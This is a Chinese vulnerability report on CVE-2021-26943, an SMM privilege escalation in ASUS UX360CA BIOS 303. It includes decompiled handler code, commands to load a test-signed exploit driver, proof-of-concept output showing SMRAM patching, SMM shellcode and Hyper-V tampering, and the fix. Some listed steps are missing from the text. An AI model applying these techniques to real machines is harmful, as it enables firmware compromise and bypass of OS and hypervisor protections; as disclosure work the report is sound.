这是针对 CVE-2021-26943 的一份报告和利用代码,该漏洞是华硕 UX360CA BIOS 版本 303 中存在的内核到 SMM 本地权限提升漏洞。该问题已在 版本 304 中修复。
UX360CA BIOS 版本 303 包含 3 个存在漏洞的模块,允许具有 ring0 权限的攻击者覆盖几乎任意物理内存(包括 SMRAM),并在 SMM 中执行任意代码。
这些模块的标识如下:
| 名称 | GUID | SHA256 |
|---|---|---|
| UsbRt | 04EAAAA1-29A1-11D7-8838-00500473D4EB | 8A3DEAFD0A688DD4360A65C98E434180152EB43EB2C913C663F13D5709776781 |
| SdioSmm | EA343100-1A37-4239-A3CB-B92240B935CF | 4578E1E147D846BB925DF881A2A0A3C3F1E6CD2AE033A8B0F769E5EB42783A0A |
| NvmeSmm | E5E2C9D9-5BF5-497E-8860-94F81A09ADE0 | A9C762B13FC9C4156603D674C6DAEBC4369520D95ACB1D0FA976078D6F7F1003 |
这些模块来自 AMI(BIOS 供应商),也可能出现在其他 OEM 的 BIOS 中。
存在漏洞的模块及对应的 SMI 为:UsbRt (0x31)、SdioSmm (0x40) 和 NvmeSmm (0x42)。所有这些 SMI 处理程序都会读取物理内存地址 0x40E 以获取要操作的目标地址,并且在出错时会向该地址写入一个字节,即使该地址位于 SMRAM 中也是如此。
例如,SdioSmm 的 SMI 处理程序如下所示:
EFI_STATUS
EFIAPI
SdioSmm_SwSmi_40h(
EFI_HANDLE DispatchHandle,
CONST VOID *Context,
VOID *CommBuffer,
UINTN *CommBufferSize
)
{
// ...
struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
if ( EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0)))
|| userControlled->Offset0_FunctionCode >= 4 )
{
userControlled->Offset2 = 7;
}
else
{
// ...
}
return EFI_SUCCESS;
}
此问题似乎与 INTEL-SA-00057 相同,后者在 Aptiocalypsis 中有详细描述。然而,UX360CA 的 BIOS 版本 303 并未包含针对这些问题的修复。
这使得攻击者能够通过以下步骤,在具有对物理内存和 OUT 指令(即 ring0 权限)的写入访问权限的情况下,覆盖 SMRAM 的内容:
这可用于实现 SMM 中的任意代码执行,具体步骤如下:
HKLM\HARDWARE\RESOURCEMAP\System Resources\Loader Reserved 的 .Raw 值内容中获取 UEFI 运行时代码的物理地址范围。SMM 中的任意代码执行将允许攻击者绕过内核和虚拟机管理程序的安全措施(如 HVCI),如 另一份 SMM 漏洞报告 所示,并通过更新 SPI 闪存(BIOS)的内容建立持久化。
附带的演示项目展示了成功的利用过程,并转储了仅在 SMM 中可访问的 MSR 内容以及 EPTP 的物理地址。它还修改了 Hyper-V 虚拟机管理程序的 CPUID VM-exit 处理代码,以返回一个更改后的虚拟机管理程序供应商字符串。
该 PoC 已在 Windows 内部版本 18362.1256 上测试,无论是否启用 HVCI。
成功利用的录制视频可在 YouTube 上找到。

在目标系统上,
> bcdedit /set testsigning on
> sc create demo type= kernel binPath= C:\users\user\desktop\demo.sys
> sc start demo
[+] ReportSmramRange: TSEG implied SMRAM: 0x88400000 - 0x88800000
[-] ReportSmramRange: Exception occurred while accessing SMRR MSR : c0000096
[+] FindSystemManagementServiceTable: SMM core found at 0x87f1b390 in RT Code
[+] FindSystemManagementServiceTable: SMST found at 0x887fa710 in SMRAM
[+] ExploitSmm: Patched SMST->SmmLocateProtocol in SMRAM
[+] ExploitSmm: Placed SMM shell code
[+] ExploitSmm: Triggered SMM exploit
[+] DumpSmmExploitOuput: IA32_SMBASE = 0x887cd000
[+] DumpSmmExploitOuput: MSR_SMM_FEATURE_CONTROL = 0x1
[+] DumpSmmExploitOuput: MSR_SMM_MCA_CAP = 0xc00000000000000
[+] DumpSmmExploitOuput: EPT pointer = 0x10a72001e
[+] DumpSmmExploitOuput: Patched Hv address = 0x1004382f0
[+] ExploitSmm: Successfully executed shell code in SMM. Failing DriverEntry to unload itself
DriverEntry failed 0xc0000120 for driver \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\demo
修复方法是完全避免在用户控制的内容指向 SMRAM 内部时使用它,如下所示。
{
// ...
struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
if (!EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0))))
{
if (userControlled->Offset0_FunctionCode < 7 )
{
// ...
}
else
{
userControlled->Offset2 = 7;
}
}
return EFI_SUCCESS;
}
该修复完全遵循了当前的行业最佳实践,并防止了导致 SMRAM 损坏的混淆代理攻击。
然而,请注意它没有考虑虚拟机管理程序内存区域。拥有虚拟机管理程序加载或使用的物理内存地址知识的攻击者,仍然可以请求 SMI 覆盖虚拟机管理程序代码或数据,从而实现虚拟机管理程序损坏。
这是一个普遍存在且长期存在的问题,甚至是一个设计层面的问题。
已报告的问题得到了解决,但在执行纵深防御策略方面存在一些问题。
例如,SMM 页表是恒等映射的,具有完全可读、可写和可执行权限,并且 SMM_Code_Chk_En 功能不可用。这使得利用变得简单。我还注意到 SMM 通信缓冲区没有像 EDK2 中那样 使用 SmmIsBufferOutsideSmmValid() 进行验证,尽管我没有找到可利用的 SMI。
我认为这些是 OEM 和许多 BIOS 版本中的常见问题。我要指出的是,如果你使用的是任何 OEM 的旧型号,其 BIOS 的安全性很可能远低于你的预期,即使使用了最新的 BIOS 版本。
这些问题不会很快消失,但我很高兴看到业界正在通过减少 SMM 权限来寻求架构上的解决方案。以下是一些你可以查阅的相关工作和文章:
以下是一些关键事件。
最后,衷心感谢华硕团队保持了密切和透明的沟通渠道❤ 整个过程虽然不快,但几乎没有令人沮丧的地方。
Hv Tampered!。
> CheckHvVendor.exe
Executing CPUID(0x40000000) on CPU 0
Result: Hv Tampered!
Executing CPUID(0x40000000) on CPU 1
Result: Hv Tampered!
Executing CPUID(0x40000000) on CPU 2
Result: Hv Tampered!
Executing CPUID(0x40000000) on CPU 3
Result: Hv Tampered!